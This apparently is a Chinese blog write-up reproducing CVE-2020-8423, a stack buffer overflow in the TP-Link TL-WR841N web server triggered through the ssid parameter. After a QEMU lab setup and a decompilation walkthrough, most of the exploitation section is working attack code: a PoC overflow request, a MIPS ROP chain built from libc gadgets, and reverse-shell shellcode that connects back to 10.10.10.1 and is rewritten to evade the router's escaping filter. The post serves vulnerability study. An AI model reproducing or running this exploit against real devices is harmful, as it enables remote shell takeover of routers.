CVE-2020-8423 复现

CVE-2020-8423 复现

Mon Aug 04 2025 Pin
2680 words · 20 minutes

环境搭建

  1. 获取 TP-Lin-WR841n 的源码,并利用 binwalk 解压 .bin 文件。下文简称解压后的目录名为 extract
Terminal window
wget https://static.tp-link.com/res/down/soft/TL-WR841N_V10_150310.zip
unzip TL-WR841N_V10_150310.zip
binwalk -Me wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin
  1. 编译 hook.so 文件,hook 掉 httpd 文件中的阻塞函数。
#include <stdio.h>
#include <stdlib.h>
int system(const char *command){
printf("HOOK: system(\"%s\")",command);
return 1337;
}
int fork(void){
return 1337;
}
/**
* command of compiling :
* mips-linux-gnu-gcc -shared -fPIC hook_mips.c -o hook.so
*/
  1. hook.so 拷贝到 squashfs-root 目录下。
  2. 下载 mips 环境内核 + 文件系统。
Terminal window
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
  1. 编写 qemu 启动脚本,内容如下:
Terminal window
sudo qemu-system-mips \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mips_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no \
-nographic \
-pidfile vm.pid \
2>&1 | tee vm.log
  1. 创建 tap0 网卡并分配 IP 地址信息。例如,我们分配给 tap0 的 IP 地址为 10.10.10.1/24。
  2. 运行 qemu 脚本并检查是否具备 eth0 网卡。如果存在 eth0 网卡合理分配 IP 地址(10.10.10.2/24),随后使用 ping -c 5 10.10.10.1 测试 qemu 虚拟机是否和宿主机互通。
  3. 打包 extract 目录下的 squashfs-root 目录,压缩后的文件命名为 rootfs.tar.gz,并在 extract 目录下执行 python3 -m http.server 1314
  4. 切换到 qemu 虚拟机中,使用 wget 10.10.10.1:1314/rootfs.tar.gz && tar -xvf rootfs.tar.gz 获取并解压压缩包。
  5. 在 qemu 虚拟机环境中使用如下指令集确认 libc.so.6 等必要文件存在。
Terminal window
cd squashfs-root/lib
ln -s libuClibc-0.9.30.so libc.so.6
ln -s ld-uClibc-0.9.30.so ld.so.1
ls -l libc.so.6 ld.so.1
  1. 利用如下指令实现共享 dev 文件和 proc 文件。
Terminal window
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
  1. 使用 chroot squashfs-root sh 进入固件环境。
  2. 使用如下指令集来启动固件
Terminal window
export LD_PRELOAD=./hook.so
/usr/bin/httpd
  1. 最后使用 firefox 等浏览器访问 http://10.10.10.2 查看是否能够获取网页。
Environment

如果你需要调试,只需要放置 gdbserver 到 squashfs-root 然后使用 ./gdbserver.mipsbe 0.0.0.0:2333 /usr/bin/httpd 来启动调试环境。

漏洞分析

下述代码使用 Ghidra 反汇编生成,本人的 IDA Pro 8.3 反汇编会失败不清楚原因。

int stringModify(char *param_1,int param_2,int param_3)
{
char cVar1;
char *pcVar2;
int iVar3;
if ((param_1 == (char *)0x0) || (pcVar2 = (char *)(param_3 + 1), param_3 == 0)) {
iVar3 = -1;
}
else {
iVar3 = 0;
while( true ) {
cVar1 = pcVar2[-1];
if ((cVar1 == '\0') || (param_2 <= iVar3)) break;
if (cVar1 == '/') {
LAB_0043bb48:
*param_1 = '\\';
LAB_0043bb4c:
iVar3 = iVar3 + 1;
param_1 = param_1 + 1;
LAB_0043bb54:
*param_1 = pcVar2[-1];
param_1 = param_1 + 1;
}
else {
if ('/' < cVar1) {
if ((cVar1 == '>') || (cVar1 == '\\')) goto LAB_0043bb48;
if (cVar1 == '<') {
*param_1 = '\\';
goto LAB_0043bb4c;
}
goto LAB_0043bb54;
}
if (cVar1 != '\r') {
if (cVar1 == '\"') goto LAB_0043bb48;
if (cVar1 != '\n') goto LAB_0043bb54;
}
if ((*pcVar2 != '\r') && (*pcVar2 != '\n')) {
*param_1 = '<';
param_1[1] = 'b';
param_1[2] = 'r';
param_1[3] = '>';
param_1 = param_1 + 4;
}
}
iVar3 = iVar3 + 1;
pcVar2 = pcVar2 + 1;
}
*param_1 = '\0';
}
return iVar3;
}

我们可以看到 param_3param_1 分别代表两个字符串,其中 param_3param_1 分别代表处理结果和待处理字符串。而 param_2 表示处理的长度。因此我们不难推断出 iVar3 表示已处理字符串长度。从结构上看,stringModify() 函数的处理过程十分简洁。其主要目的是为了转义字符,例如转义了 /\<>。在处理过程中,最值得注意的就是把单独的 \r 或者 \n 转义为 <br>。这段处理过程可能是有问题的。因为转义操作涉及对原字符串增加字符的操作,如果缺失对于转义操作后字符串的长度关注则可能出现溢出漏洞。通过交叉应用 stringModify() 我们可以发现一个名为 writePageParamSet() 的函数。

void writePageParamSet(undefined4 param_1,char *param_2,int *param_3)
{
int iVar1;
undefined *puVar2;
undefined local_210 [512];
if (param_3 == (int *)0x0) {
HTTP_DEBUG_PRINT("basicWeb/httpWebV3Common.c:178","Never Write NULL to page, %s, %d",
"writePageParamSet",0xb2,&_gp);
}
iVar1 = strcmp(param_2,"\"%s\",");
if (iVar1 == 0) {
iVar1 = stringModify(local_210,0x200,param_3);
if (iVar1 < 0) {
printf("string modify error!");
local_210[0] = 0;
}
puVar2 = local_210;
}
else {
iVar1 = strcmp(param_2,"%d,");
if (iVar1 != 0) {
return;
}
puVar2 = (undefined *)*param_3;
}
httpPrintf(param_1,param_2,puVar2);
return;
}

我们继续交叉引用会发现 UndefinedFunction_0045fa94() 函数。我们发现该函数在获取数据的时候不存在长度的检测。并且 ssid 字段可以由用户控制。

pcVar9 = (char *)httpGetEnv(param_1,"ssid");
if (pcVar9 == (char *)0x0) {
acStack_d84[0] = '\0';
}
else {
__n = strlen(pcVar9);
strncpy(acStack_d84,pcVar9,__n);
}

在获取之后,该函数就会调用 writePageParamSet() 向栈上写入数据。因此这个函数可能会触发栈溢出漏洞。

writePageParamSet(param_1,&DAT_00544d38,acStack_d84,0);
writePageParamSet(param_1,"%d,",&uStack_d60,1);
writePageParamSet(param_1,"%d,",&uStack_d5c,2);
writePageParamSet(param_1,"%d,",&uStack_d58,3);
writePageParamSet(param_1,"%d,",&uStack_d54,4);
writePageParamSet(param_1,"%d,",&uStack_d50,5);
writePageParamSet(param_1,"%d,",&uStack_d4c,6);
writePageParamSet(param_1,"%d,",&uStack_d48,7);
writePageParamSet(param_1,"%d,",&iStack_d44,8);

在阅读代码时,我们关注到触发漏洞的路径是 /userRpm/popupSiteSurveyRpm_AP.htm 或者 /userRpm/popupSiteSurveyRpm.htm

概念证明

在上述过程中,我们已经大致发现了漏洞产生的地方以及类型。因此我们需要编写 PoC (Proof of Concept) 来证明漏洞的存在性。

在证明概念之前,我们需要获取两个参数值:cookie、随机路径。

Get Cookie
import requests
import socket
import socks
import urllib
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
def poc(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":f"Authorization={cookie}"
}
payload = "/%0A"*0x55 + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.request.unquote(payload) #if python3
#urllib.unquote(payload) #if python2 (suggest)
}
url=f"http://10.10.10.2:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm"
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
poc("OSHEABYBZJIHBISA","Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")
Debug Information

至此我们证明了漏洞的存在性。而且通过调试界面,我们发现程序在试图执行地址为 0x61616561,也就是我们注入的垃圾数据 aaea。

漏洞利用

在概念证明中,我们大致找到了栈溢出的偏移量 (offset)。此外我们还关注到溢出的地方在栈上,并且这片区域存在 RWX 权限,这意味着我们可以使用 shellcode。那么大致思路就是利用 rop 将执行流跳转到 shellcode 即可。这里我们借用 H4lo 师傅的思路。这些 rop 主要在 libc.so.6 中查找。通过调试发现 libc 基地址在 0x77f39000

ROP Chain

因为缓存不一致性 (cache incoherency),所以我们需要sleep来等待数据的同步。更进一步地说,指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用sleep让shellcode从数据Cache刷新到指令Cache,否则会执行失败。不能像x86架构下直接跳转到shellcode。

我们前往 exploit-db 搜索 shellcode 样本:

unsigned char sc[] =
"\x24\x0f\xff\xfa" // li $t7, -6
"\x01\xe0\x78\x27" // nor $t7, $zero
"\x21\xe4\xff\xfd" // addi $a0, $t7, -3
"\x21\xe5\xff\xfd" // addi $a1, $t7, -3
"\x28\x06\xff\xff" // slti $a2, $zero, -1
"\x24\x02\x10\x57" // li $v0, 4183 ( sys_socket )
"\x01\x01\x01\x0c" // syscall 0x40404
"\xaf\xa2\xff\xff" // sw $v0, -1($sp)
"\x8f\xa4\xff\xff" // lw $a0, -1($sp)
"\x34\x0f\xff\xfd" // li $t7, -3 ( sa_family = AF_INET )
"\x01\xe0\x78\x27" // nor $t7, $zero
"\xaf\xaf\xff\xe0" // sw $t7, -0x20($sp)
/* ================ You can change port here ================= */
"\x3c\x0e\x7a\x69" // lui $t6, 0x7a69 ( sin_port = 0x7a69 )
/* ============================================================ */
"\x35\xce\x7a\x69" // ori $t6, $t6, 0x7a69
"\xaf\xae\xff\xe4" // sw $t6, -0x1c($sp)
/* ================ You can change ip here ================= */
"\x3c\x0e\xc0\xa8" // lui $t6, 0xc0a8 ( sin_addr = 0xc0a8 ...
"\x35\xce\x02\x9d" // ori $t6, $t6, 0x029d ... 0x029d
/* ============================================================ */
"\xaf\xae\xff\xe6" // sw $t6, -0x1a($sp)
"\x27\xa5\xff\xe2" // addiu $a1, $sp, -0x1e
"\x24\x0c\xff\xef" // li $t4, -17 ( addrlen = 16 )
"\x01\x80\x30\x27" // nor $a2, $t4, $zero
"\x24\x02\x10\x4a" // li $v0, 4170 ( sys_connect )
"\x01\x01\x01\x0c" // syscall 0x40404
"\x24\x0f\xff\xfd" // li t7,-3
"\x01\xe0\x28\x27" // nor a1,t7,zero
"\x8f\xa4\xff\xff" // lw $a0, -1($sp)
// dup2_loop:
"\x24\x02\x0f\xdf" // li $v0, 4063 ( sys_dup2 )
"\x01\x01\x01\x0c" // syscall 0x40404
"\x24\xa5\xff\xff" // addi a1,a1,-1 (\x20\xa5\xff\xff)
"\x24\x01\xff\xff" // li at,-1
"\x14\xa1\xff\xfb" // bne a1,at, dup2_loop
"\x28\x06\xff\xff" // slti $a2, $zero, -1
"\x3c\x0f\x2f\x2f" // lui $t7, 0x2f2f
"\x35\xef\x62\x69" // ori $t7, $t7, 0x6269
"\xaf\xaf\xff\xec" // sw $t7, -0x14($sp)
"\x3c\x0e\x6e\x2f" // lui $t6, 0x6e2f
"\x35\xce\x73\x68" // ori $t6, $t6, 0x7368
"\xaf\xae\xff\xf0" // sw $t6, -0x10($sp)
"\xaf\xa0\xff\xf4" // sw $zero, -0xc($sp)
"\x27\xa4\xff\xec" // addiu $a0, $sp, -0x14
"\xaf\xa4\xff\xf8" // sw $a0, -8($sp)
"\xaf\xa0\xff\xfc" // sw $zero, -4($sp)
"\x27\xa5\xff\xf8" // addiu $a1, $sp, -8
"\x24\x02\x0f\xab" // li $v0, 4011 (sys_execve)
"\x01\x01\x01\x0c"; // syscall 0x40404

直接使用现成的反弹 shell 的 shellcode 发现行不通,原因是程序中对数据有”过滤”,需要对shellcode修改。

对 shellcode 的修改方法主要有两种:

  1. 同指令替换。
  2. 进行简单编码。

因为”过滤”操作只是简单的转义,也就是增加 / 字符。我们就采用指令替换的方法,针对于 lui 指令的字节码为 0x3c (<) 的情况下,使用一些无关指令,如填充 ori t3,t3,0xff3c 指令时,3c 会被编码成 5c3c,那么这时候 0x3c 就逃逸到下一个内存空间中,这个 0x3c 就可以继续使用了 (针对于开头为 3c 的汇编指令)。

让我们来用 pwntools 做一个简单的实验:

asm("ori $t3,$t3,0xff3c", arch="mips", endian="big") # 5k\xff<

那么通过”过滤”后我们得到了 5k\xff\x5c<,而 5k\xff\x5c 为:

disasm(b"5k\xff\x5c", arch="mips", endian="big", bytes=32)
#' 0: 356bff5c ori t3, t3, 0xff5c'

而在我们的 shellcode 样本中,$t3 的值是无用的,这就导致 ori t3, t3, 0xff5c 指令的执行不会影响结果。

# -*- coding: utf-8 -*-
#!/usr/bin/python2
from pwn import *
from pwn import context,p32,p16
import requests
import socket
import socks
import urllib
import struct
default_socket = socket.socket
socket.socket = socks.socksocket
session = requests.Session()
session.verify = False
context.endian = 'big'
libc_base=0x77f39000
sleep =0x53CA0 #end 00053ECC
#gadgets
g1=0x000E204 #0x77F47204
#LOAD:0000E204 move $t9, $s1
#LOAD:0000E208 jalr $t9 ; sysconf
#LOAD:0000E20C li $a0, 3
g2=0x00037470
#LOAD:00037470 move $t9, $s2
#LOAD:00037474 lw $ra, 0x28+var_4($sp)
#LOAD:00037478 lw $s2, 0x28+var_8($sp)
#LOAD:0003747C lw $s1, 0x28+var_C($sp)
#LOAD:00037480 lw $s0, 0x28+var_10($sp)
#LOAD:00037484
#LOAD:00037484 loc_37484:
#LOAD:00037484 jr $t9 ; xdr_opaque_auth
#LOAD:00037488 addiu $sp, 0x28
g3=0x0000E904 #0x77f47904
#LOAD:0000E904 addiu $a1, $sp, 0x168+var_150
#LOAD:0000E908 move $t9, $s1
#LOAD:0000E90C jalr $t9 ; stat64
#LOAD:0000E910 addiu $a0, (aErrorNetrcFile+0x28 - 0x60000)
g4=0x00374D8
#LOAD:000374D8 move $t9, $a1
#LOAD:000374DC sw $v0, 0x4C($a0)
#LOAD:000374E0 move $a1, $a2
#LOAD:000374E4 jr $t9
#LOAD:000374E8 addiu $a0, 0x4C # 'L'
libc_addr = libc_base
bin_sh_addr = libc_addr+0x00059D28
escape_code = "\x35\x6b\xff\x3c" # ori $t3,$t3,0xff3c
def get_shellcode():
# 编码字符:\x0d、\x0a、\x3c
stg3_SC = "\x24\x0f\xff\xfd"
stg3_SC += "\x01\xe0\x20\x27"
stg3_SC += "\x01\xe0\x28\x27"
stg3_SC += "\x28\x06\xff\xff"
stg3_SC += "\x24\x02\x10\x57"
stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\xaf\xa2\xff\xff"
stg3_SC += "\x8f\xa4\xff\xff"
stg3_SC += "\x24\x0f\xff\xfd"
stg3_SC += "\x01\xe0\x78\x27"
stg3_SC += "\xaf\xaf\xff\xe0"
stg3_SC += escape_code
stg3_SC += "\x0e\x7a\x69"
stg3_SC += "\x35\xce\x7a\x69" # \x7a\x69:监听端口 31337
stg3_SC += "\xaf\xae\xff\xe4" # sw t6,-28(sp)
stg3_SC += escape_code
# 本地 IP 地址:10.10.10.1
# lui $t7, 0xffff # high 16-bit
# ori $t7, $t7, 0xffff # low 16-bit => $t7 = 0xffffffff
# lui $t6, 0xf5f5
# xori $t6, $t6, 0xf5fe # => $t6 = 0x0a0a0000
# xor $t7, $t7, $t6 # $t7 = 0x0a0a0a01
stg3_SC += "\x0f\xff\xff"
stg3_SC += "\x35\xef\xff\xff" # -> $t7 = 0xffffffff 255.255.255.255
stg3_SC += escape_code
stg3_SC += "\x0e\xf5\xf5" # lui $t6, 0xf5f5
stg3_SC += "\x39\xce\xf5\xfe"
stg3_SC += "\x01\xee\x78\x26" # -> $t7 = 10.10.10.1
stg3_SC += "\xaf\xaf\xff\xe6" # sw t7,-26(sp)
stg3_SC += "\x23\xa5\xff\xe2"
stg3_SC += "\x24\x0c\xff\xef"
stg3_SC += "\x01\x80\x30\x27"
stg3_SC += "\x24\x02\x10\x4a"
stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\x24\x0f\xff\xfd" # dup2 loop
stg3_SC += "\x01\xe0\x28\x27"
stg3_SC += "\x8f\xa4\xff\xff"
stg3_SC += "\x24\x02\x0f\xdf"
stg3_SC += "\x01\x01\x01\x0c"
stg3_SC += "\x20\xa5\xff\xff"
stg3_SC += "\x24\x01\xff\xff"
stg3_SC += "\x14\xa1\xff\xfb"
stg3_SC += "\x28\x06\xff\xff" # slti a2,zero,-1
stg3_SC += escape_code
# "/bin/sh" 字符串在 libc 中的地址
stg3_SC += "\x04" + p16(bin_sh_addr>>16) # lui a0,0x77f9
stg3_SC += "\x34\x84" + p16(bin_sh_addr&0x0000ffff) # ori a0,a0,0x2d28
stg3_SC += "\x28\x05\xff\xff"
stg3_SC += "\x24\x02\x0f\xab"
stg3_SC += "\x01\x01\x01\x0c" # syscall 0x40404
stg3_SC += "\x24\x02\x0f\xa1" # exit(0)
stg3_SC += "\x01\xc0\x20\x27"
stg3_SC += "\x01\x01\x01\x0c"
print("payload size: " + str(len(stg3_SC)))
return stg3_SC
'''
SYS_socket(2,2,0)
struct sockaddr_in {
sa_family_t sin_family; // 地址族,通常是 AF_INET(=2)
in_port_t sin_port; // 端口号(必须用 htons() 转换为网络字节序)
struct in_addr sin_addr; // IP 地址(必须用 inet_addr 或 htonl 转换)
char sin_zero[8];// 填充用,不需赋值
};
'''
s0=p32(0x11111111)
s1=p32(g2+libc_base) # break
s2=p32(sleep+libc_base)
payload= "/%0A"*0x55 +2*'x'+s0 +s1 +s2
payload+=p32(g1+libc_base)
payload+='x'*28
payload+=p32(g4+libc_base) #s1
payload+=p32(0x33333333) #s2
payload+=p32(g3+libc_base) #ra
payload+='x'*24
payload+=get_shellcode()
def exp(path,cookie):
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Cookie":"Authorization={cookie}".format(cookie=str(cookie))}
# payload="/%0A"*0x55 + "abcdefghijklmn"+"\x78\x56\x34\x12"
params = {
"mode":"1000",
"curRegion":"1000",
"chanWidth":"100",
"channel":"1000",
"ssid":urllib.unquote(payload)
}
url="http://10.10.10.2:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
resp = session.get(url,params=params,headers=headers,timeout=10)
print (resp.text)
exp("AEIQSDABRZFEJHJB","Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D")

Thanks for reading!

CVE-2020-8423 复现

Mon Aug 04 2025 Pin
2680 words · 20 minutes